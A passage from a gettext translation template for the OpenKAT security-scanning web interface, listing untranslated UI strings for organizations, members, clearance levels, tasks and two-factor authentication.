overview:\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Tags\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"There were no organizations found for your user account\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"Actions to perform for all of your organizations.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Rerun all bits\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_add.html\nmsgid \"Change account type\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_add_header.html\n#: rocky/views/organization_member_add.py\nmsgid \"Add member\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_add_header.html\n#, python-format\nmsgid \"\"\n\"Creating a new member of organization <strong>%(organization)s</strong>. For \"\n\"detailed information about the different account types, check the <a \"\n\"href=\\\"https://docs.openkat.nl/basics/users-and-organisations.html#users\\\" \"\n\"target=\\\"_blank\\\" rel=\\\"noopener\\\">documentation</a>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_edit.html\n#: rocky/views/organization_member_edit.py\nmsgid \"Edit member\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_edit.html\nmsgid \"Save member\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\n#, python-format\nmsgid \"An overview of members of <strong>%(organization_name)s</strong>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Add member(s)\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Manually\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Upload a CSV\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\n#, python-format\nmsgid \"\"\n\"\\n\"\n\"                        Showing %(total)s members\\n\"\n\"                    \"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Member overview:\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Role\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Assigned clearance level\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Super user\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_upload.html\n#: rocky/views/organization_member_add.py\nmsgid \"Add members\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_upload.html\n#, python-format\nmsgid \"\"\n\"To upload multiple members at once, you can upload a CSV file or you can <a \"\n\"href=\\\"%(download_url)s\\\">download the template</a>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_upload.html\nmsgid \"To create a custom CSV file, make sure it meets the following criteria:\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_upload.html\nmsgid \"Upload\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_settings.html\n#, python-format\nmsgid \"\"\n\"An overview of general information and settings for \"\n\"<strong>%(organization_name)s</strong>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"\"\n\"<strong>Warning:</strong> Indemnification is not set for this organization.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/views/indemnification_add.py\nmsgid \"Add indemnification\"\nmsgstr \"\"\n\n#: rocky/templates/partials/current_config.html\nmsgid \"Current configuration\"\nmsgstr \"\"\n\n#: rocky/templates/partials/delete_ooi_modal.html\nmsgid \"Delete objects\"\nmsgstr \"\"\n\n#: rocky/templates/partials/delete_ooi_modal.html\nmsgid \"\"\n\"Are you sure you want to delete all the selected objects? The history of the \"\n\"deleted objects will still be available.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"Edit clearance level settings\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"You are editing clearance level of all the selected objects.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"Switching between declare and inherit\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"\"\n\"Clearance levels can be automatically inherited or you can manually declare \"\n\"the clearance level for an object. Switching to inherit clearance level will \"\n\"also recalculate the clearance levels of objects that inherit from these \"\n\"clearance levels.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_detail_settings.html\nmsgid \"Observed at\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_detail_settings.html\n#: rocky/templates/partials/elements/ooi_report_settings.html\nmsgid \"Show settings\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_detail_settings.html\n#: rocky/templates/partials/elements/ooi_report_settings.html\nmsgid \"Hide settings\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_list_settings_form.html\nmsgid \"Toggle all OOI types\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\nmsgid \"Children\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#, python-format\nmsgid \"Show details for %(object_id)s, with %(child_count)s children.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#, python-format\nmsgid \"\"\n\"Show tree for %(object_id)s with only children of type %(object_ooi_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#, python-format\nmsgid \"Unfold %(object_id)s with %(child_count)s children\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"go to:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"Go to detailpage\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"detail\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"Go to tree view\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"tree\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"Go to graph view\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"graph\"\nmsgstr \"\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"Clearance level inheritance\"\nmsgstr \"\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"OOI\"\nmsgstr \"\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"Origin\"\nmsgstr \"\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"Show clearance level inheritance\"\nmsgstr \"\"\n\n#: rocky/templates/partials/finding_occurrence_definition_list.html\nmsgid \"Reproduction\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/checkbox_group_table_form.html\nmsgid \"Please enable plugin to start scanning.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input.html\nmsgid \"Not set\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input.html\nmsgid \"Forgot email\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input.html\nmsgid \"Forgot password\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_errors.html\n#: rocky/templates/partials/notifications_block.html\nmsgid \"error\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_errors.html\n#: rocky/templates/partials/form/form_errors.html\n#: rocky/templates/partials/notifications_block.html\nmsgid \"Error:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_help_text.html\nmsgid \"Open explanation\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_help_text.html\nmsgid \"Close explanation\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_help_text.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Explanation:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/indemnification_add_form.html\nmsgid \"\"\n\"Performing security scans against assets is generally only allowed if you \"\n\"have permission to scan those assets. Certain scans might also have a \"\n\"negative impact on (your) assets. Therefore it is important to know and be \"\n\"aware of the impact of security scans.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/indemnification_add_form.html\nmsgid \"\"\n\"An organization indemnification is required before you can use OpenKAT. With \"\n\"the indemnification you declare that you, as a person, can be held \"\n\"accountable.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/indemnification_add_form.html\nmsgid \"Set an indemnification\"\nmsgstr \"\"\n\n#: rocky/templates/partials/hyperlink_ooi_type.html\n#, python-format\nmsgid \"Only show objects of type %(type)s\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_filters.html\nmsgid \"Hide filter options\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_filters.html\nmsgid \"Show filter options\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"List pagination\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Previous Page\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Previous\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Five Pages Back\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\n#: rocky/templates/partials/pagination.html\nmsgid \"Page\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Five Pages Forward\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Next Page\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Next\"\nmsgstr \"\"\n\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"You are muting the selected findings.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"Reason:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"Expires by (UTC):\"\nmsgstr \"\"\n\n#: rocky/templates/partials/notifications_block.html\nmsgid \"Confirmation:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"No related object known for\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_detail_toolbar.html\nmsgid \"Generate Report\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_detail_toolbar.html\n#, python-format\nmsgid \"Edit %(display_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_head.html\n#, python-format\nmsgid \"\"\n\"An overview of \\\"%(ooi)s\\\", object type \\\"%(type)s\\\". This shows general \"\n\"information and its related objects. It also gives the possibility to add \"\n\"additional related objects, or to scan for them.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Scan for objects\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\n#: rocky/templates/upload_csv.html rocky/views/upload_csv.py\nmsgid \"Upload CSV\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Export\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Download as CSV\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block.html\n#, python-format\nmsgid \"%(total)s findings on %(name)s\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#, python-format\nmsgid \"Findings for %(type)s %(name)s on %(observed_at)s:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table.html\nmsgid \"Open finding details\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\n#, python-format\nmsgid \"Details of %(object_id)s\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"\"\n\"The severity of this findingtype has not (yet) been determined by the data \"\n\"source. This situation requires manual investigation of the severity.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Total occurrences\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_tree_toolbar_bottom.html\nmsgid \"Tree - dense view\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_tree_toolbar_bottom.html\nmsgid \"Tree - table view\"\nmsgstr \"\"\n\n#: rocky/templates/partials/organization_member_list_filters.html\nmsgid \"Update List\"\nmsgstr \"\"\n\n#: rocky/templates/partials/organization_properties_table.html\nmsgid \"Organization name\"\nmsgstr \"\"\n\n#: rocky/templates/partials/organization_properties_table.html\nmsgid \"Organization code\"\nmsgstr \"\"\n\n#: rocky/templates/partials/organizations_menu_dropdown.html\nmsgid \"Select organization\"\nmsgstr \"\"\n\n#: rocky/templates/partials/organizations_menu_dropdown.html\nmsgid \"All organizations\"\nmsgstr \"\"\n\n#: rocky/templates/partials/page-meta.html\nmsgid \"Logged in as:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"of\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"first\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"previous\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"next\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"last\"\nmsgstr \"\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"User navigation\"\nmsgstr \"\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"Close user navigation\"\nmsgstr \"\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"My organizations\"\nmsgstr \"\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"Profile\"\nmsgstr \"\"\n\n#: rocky/templates/partials/skip-to-content.html\nmsgid \"Go to content\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"\"\n\"The clearance level determines the level of boefje scans allowed on this \"\n\"object. An object inherits its clearance level from neighbouring objects. \"\n\"This means that the clearance level might stay the same, increase or \"\n\"decrease, depending on other declared clearance levels.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Empty clearance level explanation\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Empty:\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"\"\n\"This object has a clearance level of \\\"empty\\\". This means that this object \"\n\"has no clearance level.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Indemnification warning\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Indemnification is not set for this organization.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Go to the\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"organization settings page\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"to add one.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Set clearance level warning\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"\"\n\"You don't have permissions to set the clearance level. Contact your \"\n\"administrator.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\n#, python-format\nmsgid \"\"\n\"You are not allowed to set the clearance level of this OOI. Your maximum \"\n\"clearance level is %(member_clearance_level)s and this OOI has level \"\n\"%(boefje_scan_level)s.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Go to your\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"account details\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"to manage your clearance level.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Current clearance level\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\nmsgid \"\"\n\"An overview of the boefje task, the input OOI and the RAW data it generated.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Download meta and raw data\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\nmsgid \"Download meta data\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\nmsgid \"Input object\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html\nmsgid \"There are no tasks for boefjes.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html\nmsgid \"List of tasks for boefjes.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/reports.html\nmsgid \"Organization Code\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Created date\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Modified date\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"There are no tasks for normalizers.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"List of tasks for normalizers.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Boefje input OOI\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Manually added\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/ooi_detail_task_list.html\nmsgid \"There have been no tasks.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"Task statistics - Last 24 hours\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"All times in UTC, blocks of 1 hour.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"Timeslot\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"Could not load stats, Scheduler error.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/tab_navigation.html\nmsgid \"List of tasks\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Yielded objects\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Reschedule\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Download task data\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/tasks_overview_header.html\n#, python-format\nmsgid \"\"\n\"An overview of the tasks for <strong>%(organization)s</strong>. Tasks are \"\n\"divided in Boefjes, Normalizers and Reports. Boefjes scan objects and \"\n\"Normalizers dispatch on the output mime-type. Additionally, there is a \"\n\"Report tasks. This task aggregates and presents findings from both Boefjes \"\n\"and Normalizers.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"There are no tasks for\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"List of tasks for\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/reports.html\nmsgid \"There are no tasks for reports.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/reports.html\nmsgid \"List of tasks for reports.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/reports.html\nmsgid \"Recipe ID\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Log in\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Authenticate\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Backup Tokens\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"\"\n\"Backup tokens can be used when your primary and backup phone numbers aren't \"\n\"available. The backup tokens below can be used for login verification. If \"\n\"you've used up all your backup tokens, you can generate a new set of backup \"\n\"tokens. Only the backup tokens shown below will be valid.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"Print these tokens and keep them somewhere safe.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"You don't have any backup codes yet.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"Generate Tokens\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"Back to Account Security\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"You are logged in.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Two factor authentication is enabled for your account.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"\"\n\"Two factor authentication is not enabled for your account. Enable it to \"\n\"continue.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Setup two factor authentication\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Credentials\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"\"\n\"Use this form for entering backup tokens for logging in. These tokens have \"\n\"been generated for you to print and keep safe. Please enter one of these \"\n\"backup tokens to login to your account.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"As a last resort, you can use a backup token:\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Use Backup Token\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/otp_required.html\nmsgid \"Permission Denied\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/otp_required.html\nmsgid \"\"\n\"The page you requested, enforces users to verify using two-factor \"\n\"authentication for security reasons. You need to enable these security \"\n\"features in order to access this page.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/otp_required.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"Two-factor authentication is not enabled for your account. Enable two-factor \"\n\"authentication for enhanced account security.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/otp_required.html\n#: rocky/templates/two_factor/core/setup.html\n#: rocky/templates/two_factor/core/setup_complete.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Enable Two-Factor Authentication\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/phone_register.html\nmsgid \"Add Backup Phone\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/phone_register.html\nmsgid \"\"\n\"You'll be adding a backup phone number to your account. This number will be \"\n\"used if your primary method of registration is not available.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/phone_register.html\nmsgid \"\"\n\"We've sent a token to your phone number. Please enter the token you've \"\n\"received.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"\"\n\"To start using a token generator, please use your smartphone to scan the QR \"\n\"code below or use the setup key. For example, use GoogleAuthenticator. Then, \"\n\"enter the token generated by the app.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"QR code\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"Setup key\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"\"\n\"The secret key is a 32 characters representation of the QR code. There are 2 \"\n\"options to setup the two factor authtentication. You can scan the QR code \"\n\"above or you can insert this key using the secret key option of the \"\n\"authenticator app.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"Congratulations, you've successfully enabled two-factor authentication.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"Start using OpenKAT\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"\"\n\"However, it might happen that you don't have access to your primary token \"\n\"device. To enable account recovery, add a phone number.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Add Phone Number\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/disable.html\nmsgid \"Disable Two-factor Authentication\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/disable.html\nmsgid \"\"\n\"You are about to disable two-factor authentication. This weakens your \"\n\"account security, are you sure?\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Account Security\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Tokens will be generated by your token generator.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\n#, python-format\nmsgid \"Primary method: %(primary)s\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Tokens will be generated by your YubiKey.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Backup Phone Numbers\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"If your primary method is not available, we are able to send backup tokens \"\n\"to the phone numbers listed below.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Unregister\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"If you don't have any device with you, you can access your account using \"\n\"backup tokens.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\n#, python-format\nmsgid \"You have only one backup token remaining.\"\nmsgid_plural \"You have %(counter)s backup tokens remaining.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Show Codes\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Disable Two-Factor Authentication\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"However we strongly discourage you to do so, you can also disable two-factor \"\n\"authentication for your account.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/twilio/sms_message.html\n#, python-format\nmsgid \"Your OTP token is %(token)s\"\nmsgstr \"\"\n\n#: rocky/templates/upload_csv.html\nmsgid \"Automate the creation of multiple objects by uploading a CSV file.\"\nmsgstr \"\"\n\n#: rocky/templates/upload_csv.html\nmsgid \"These are the criteria for CSV upload:\"\nmsgstr \"\"\n\n#: rocky/templates/upload_raw.html\nmsgid \"Automate the creation of multiple objects by uploading a raw file.\"\nmsgstr \"\"\n\n#: rocky/templates/upload_raw.html\nmsgid \"\"\n\"An input OOI can be selected for the normalizer to attach newly yielded OOIs \"\n\"to. If no input OOI was used for the raw file, a placeholder ExternalScan \"\n\"OOI can be used. ExternalScan OOIs can be created from the objects page. \"\n\"When a new version of the raw file is generated, the same ExternalScan OOI \"\n\"should be chosen to ensure that old results are overwritten.\"\nmsgstr \"\"\n\n#: rocky/templates/upload_raw.html rocky/views/upload_raw.py\nmsgid \"Upload raw\"\nmsgstr \"\"\n\n#: rocky/views/bytes_raw.py\nmsgid \"Getting raw data failed.\"\nmsgstr \"\"\n\n#: rocky/views/bytes_raw.py\nmsgid \"The task does not have any raw data.\"\nmsgstr \"\"\n\n#: rocky/views/finding_list.py rocky/views/ooi_list.py\nmsgid \"Unknown action.\"\nmsgstr \"\"\n\n#: rocky/views/health.py\nmsgid \"Beautified\"\nmsgstr \"\"\n\n#: rocky/views/indemnification_add.py\nmsgid \"Indemnification successfully set.\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"The selected date is in the future.\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"Can not parse date, falling back to show current date.\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"You do not have the permission to add items to a dashboard.\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"Dashboard item has been added.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_add.py\n#, python-format\nmsgid \"Add %(ooi_type)s\"\nmsgstr \"\"\n\n#: rocky/views/ooi_detail.py\nmsgid \"\"\n\"Cannot set clearance level. It must be provided and must be a valid number.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_detail.py\nmsgid \"Only Question OOIs can be answered.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_detail.py\nmsgid \"Question has been answered.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_detail_related_object.py\nmsgid \" (as \"\nmsgstr \"\"\n\n#: rocky/views/ooi_findings.py\nmsgid \"Object findings\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"No OOIs selected.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance levels to L%s. Indemnification not present at \"\n\"organization %s.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level to L%s. You were trusted a clearance level \"\n\"of L%s. Contact your administrator to receive a higher clearance.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level to L%s. You acknowledged a 